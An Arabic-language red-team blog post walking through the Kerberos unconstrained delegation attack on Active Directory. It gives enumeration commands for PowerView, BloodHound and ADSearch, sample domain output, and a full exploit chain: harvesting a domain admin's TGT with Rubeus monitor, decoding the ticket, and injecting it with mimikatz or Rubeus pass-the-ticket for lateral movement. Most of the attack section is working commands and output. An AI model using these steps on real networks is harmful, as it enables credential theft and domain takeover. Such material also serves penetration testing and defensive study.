Post

Unconstrained Delegation

Attack

‫ بسم الله الرحمن الرحيم. سنتطرق اليوم بمشيئة الله لشرح الـ unconstrained delegation

Unconstrained delegation

‫ الدلقيشن يسمح لمستخدم أو خدمة للعمل نيابةً عن سيرفس اكاونت او مستخدم أخر

‫ بعدما تعرفنا على الدلقيشن بطريقة مبسطه سنتعمق الان في تفاصيل اكثر لنفهم طريقة عمل هذه الهجمة إذا كان الـ unconstrained delegation مفعل في جهاز الكمبيوتر الـ KDC سيكون محتوي على الـ TGT لليوزر داخل الـ TGS وبهذه الحاله سنتفرض أن لدينا خادم ويب يحتاج للوصول لسيرفر قاعدةالبيانات نيابة عن مستخدم اخر، في هذه الحالة خادم الويب سيستخدم الـ TGT لطلب الـ TGS بسيرفس اكاونت موجود على سيرفر قاعدةالبيانات. الجزء المهم لنا كـ RedTeamers هو أن unconstrained delegation بدورها كخدمة ستقوم بتخزين الـ TGT الخاصة بالمستخدم في حال دخوله لجهاز مفعله لديه هذه الخدمه.

‫ وللتوضيح أكثر سنستعرض مثال بسيط: فلنفترض أن الدومين أدمن دخل لجهاز مفعله لديه هذه الخدمة وقام بالدخول على أي خدمة كانت في جهاز A على سبيل المثال، في هذه الحاله ستكون الـ TGT الخاصة بحساب الدومين أدمن مخزنه في ميموري الجهاز A، ونستطيع نحن كـ RedTemaer إستغلال هذه الخدمة وإستخراج ال TGT الخاصة بالدومين أدمن او اي يوزر نقوم بإستهدافه.

‫ سننتقل الان لشرح يوضح هذا التكنيك بطريقة عملية

Enumeration

‫ عن طريق المودل PowerView نستطيع عمل Enumeration لمعرفة الدومين كمبيوتر اللتي مفعل فيها هذه الخدمة

1
Get-DomainComputer -UnConstrained

‫ وأيضًا عن طريق BloodHoundAd نستطيع عمل Enumeration لمعرفة الدومين كمبيوتر المفعلة فيها هذه الخدمة

1
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

‫ وأيضًا عن طريق ADSearch.exe نستطيع عمل Enumeration لمعرفة الدومين كمبيوتر المفعلة فيها هذه الخدمة

1
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem

Exploit

‫ سنقوم في البداية بعمل Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
PS C:\Users\0xMaz> cd .\Desktop\
PS C:\Users\0xMaz\Desktop> . .\PowerView.ps1
PS C:\Users\0xMaz\Desktop> Get-DomainComputer -UnConstrained


pwdlastset                    : 5/16/2019 1:10:20 AM
logoncount                    : 512
msds-generationid             : {36, 225, 107, 217...}
serverreferencebl             : CN=Test-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=0xMaz,D
                                C=local
badpasswordtime               : 12/31/1600 4:00:00 PM
distinguishedname             : CN=Test-DC1,OU=Domain Controllers,DC=us,DC=0xMaz,DC=local
objectclass                   : {top, person, organizationalPerson, user...}
lastlogontimestamp            : 9/16/2022 9:01:42 PM
name                          : Test-DC1
objectsid                     : S-1-5-21-3965405831-1015596948-2589850225-1000
samaccountname                : Test-DC1$
localpolicyflags              : 0
codepage                      : 0
samaccounttype                : MACHINE_ACCOUNT
whenchanged                   : 9/17/2022 4:01:42 AM
accountexpires                : NEVER
countrycode                   : 0
operatingsystem               : Windows Server 2016 Standard
instancetype                  : 4
msdfsr-computerreferencebl    : CN=Test-DC1,CN=Topology,CN=Domain System
                                Volume,CN=DFSR-GlobalSettings,CN=System,DC=us,DC=0xMaz,DC=local
objectguid                    : 68412feb-0296-4eeb-8886-ae49b2779f64
operatingsystemversion        : 10.0 (14393)
lastlogoff                    : 12/31/1600 4:00:00 PM
objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=0xMaz,DC=local
dscorepropagationdata         : {2/1/2019 6:23:00 AM, 1/1/1601 12:00:01 AM}
serviceprincipalname          : {ldap/Test-DC1.us.0xMaz.local/DomainDnsZones.us.0xMaz.local,
                                ldap/Test-DC1.us.0xMaz.local/ForestDnsZones.0xMaz.local,
                                Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/Test-DC1.us.0xMaz.local, TERMSRV/Test-DC1...}
usncreated                    : 12293
lastlogon                     : 9/17/2022 3:55:06 AM
badpwdcount                   : 0
cn                            : Test-DC1
useraccountcontrol            : SERVER_TRUST_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_FOR_DELEGATION
whencreated                   : 2/1/2019 6:23:00 AM
primarygroupid                : 516
iscriticalsystemobject        : True
msds-supportedencryptiontypes : 28
usnchanged                    : 648313
ridsetreferences              : CN=RID Set,CN=Test-DC1,OU=Domain Controllers,DC=us,DC=0xMaz,DC=local
dnshostname                   : Test-DC1.us.0xMaz.local

logoncount                    : 372
badpasswordtime               : 12/31/1600 4:00:00 PM
distinguishedname             : CN=UFC-WEBPROD,OU=Servers,DC=us,DC=0xMaz,DC=local
objectclass                   : {top, person, organizationalPerson, user...}
badpwdcount                   : 0
lastlogontimestamp            : 9/16/2022 9:01:45 PM
objectsid                     : S-1-5-21-3965405831-1015596948-2589850225-1104
samaccountname                : UFC-WEBPROD$
localpolicyflags              : 0
codepage                      : 0
samaccounttype                : MACHINE_ACCOUNT
countrycode                   : 0
cn                            : UFC-WEBPROD
accountexpires                : NEVER
whenchanged                   : 9/17/2022 4:01:45 AM
instancetype                  : 4
usncreated                    : 12921
objectguid                    : 552cbb64-f3ff-4b35-a9f1-7f68dd07b9a1
operatingsystem               : Windows Server 2016 Standard
operatingsystemversion        : 10.0 (14393)
lastlogoff                    : 12/31/1600 4:00:00 PM
objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=0xMaz,DC=local
dscorepropagationdata         : {2/6/2019 12:46:32 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname          : {TERMSRV/UFC-WEBPROD, TERMSRV/UFC-WebProd.us.0xMaz.local, WSMAN/UFC-WebProd,
                                WSMAN/UFC-WebProd.us.0xMaz.local...}
lastlogon                     : 9/17/2022 11:35:19 AM
iscriticalsystemobject        : False
usnchanged                    : 648319
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_FOR_DELEGATION
whencreated                   : 2/1/2019 6:37:47 AM
primarygroupid                : 515
pwdlastset                    : 12/14/2019 9:26:58 PM
msds-supportedencryptiontypes : 28
name                          : UFC-WEBPROD
dnshostname                   : UFC-WebProd.us.0xMaz.local



PS C:\Users\0xMaz\Desktop>

‫ وعن طريق الـ ADSearch

image

‫ سنجد أن الكمبيوترين SRV-1 , DC-2 مفعل لديهما الـ Unconstrained Delegation

‫ تنويه: الدومين كنترولر تكون مفعله لديه هذه الخدمة تلقائيًا ولكنها لن تفيدنا لانه إذا وصلنا له فنحن دومين ادمن لانحتاج لهذا التكنيك.

‫ أولا سنحتاج للوصول للسيرفر SRV-1 لتفعيل المونيتور مود عن طريق أداة Rubeus وإنتظار الدومين أدمن أو اي يوزر ذو صلاحيات عاليه للدخول عليه، وبما ان هذا السيرفر مفعل عليه الـ Unconstrained Delegation فسيقوم بحفظ التذكرهTGT لاي يوزر يقوم بالدخول عليه او استخدام اي خدمه يقدمها وتحتاج لـ Kerberos Authentication
‫ وعن طريق هذاالسيرفر ستكون التذكرة محفوظه و نستطيع استخراج الـ TGT المحفوظه لهذا المستخدم

1
Rubeus.exe monitor /interval:10

image
في هذه الحالة الاداة ستقوم بسحب جميع التذاكر المحفوظه وعمل مونيتور للتذاكر القادمة في حال دخول أي مستخدم جديد مثلما شرحنا سابقًا.

image وفي هذه الحاله حصلنا على التذكرة للدومين ادمن، لانه قام بالدخول للسيرفر.

‫ وفي هذه الحاله سنقوم بأخذ التذكره وتحويلها وإضافتها للجهاز الخاص بنا.

1
2
$ on Linux
$ echo 'base64' | base64 --decode > ticket.kirbi
1
2
$ On Windows
$ [System.IO.File]::WriteAllBytes("C:/Users/User/Ticket.kirbi", [System.Convert]::FromBase64String("base64"))

‫ وسنقوم الان بحقن التذكره في الفوت هولد مشين ونستطيع تنفيذ Remote-command على الاجهزه المصرح للمستخدم صاحب التذكره عمل ذلك عليها.

‫ ونستطيع حقن التذكره عن طريق ادوات كثيره ومن ضمنها:

‫ mimikatz.exe

1
2
3
4
5
6
7
8
9
10
11
12
> mimikatz.exe
# privilege::debug
# kerberos::ptt C:/Users/User/Ticket.kirbi
...
File: 'C:/Users/User/Ticket.kirbi': OK
...
> klist | findstr "Cached"
...
Cached Tickets: (1)
...
# exit
Bye!

Rubeus.exe

1
Rubeus.exe ptt /ticket:C:/Users/User/Ticket.kirbi

‫ وبهذه الحاله سنكون انتقلنا من الفوتهولد مشين لأجهزه أخرى.
تنويه: مدة التذكرة 10 ساعات ‫

This post is licensed under CC BY 4.0 by the author.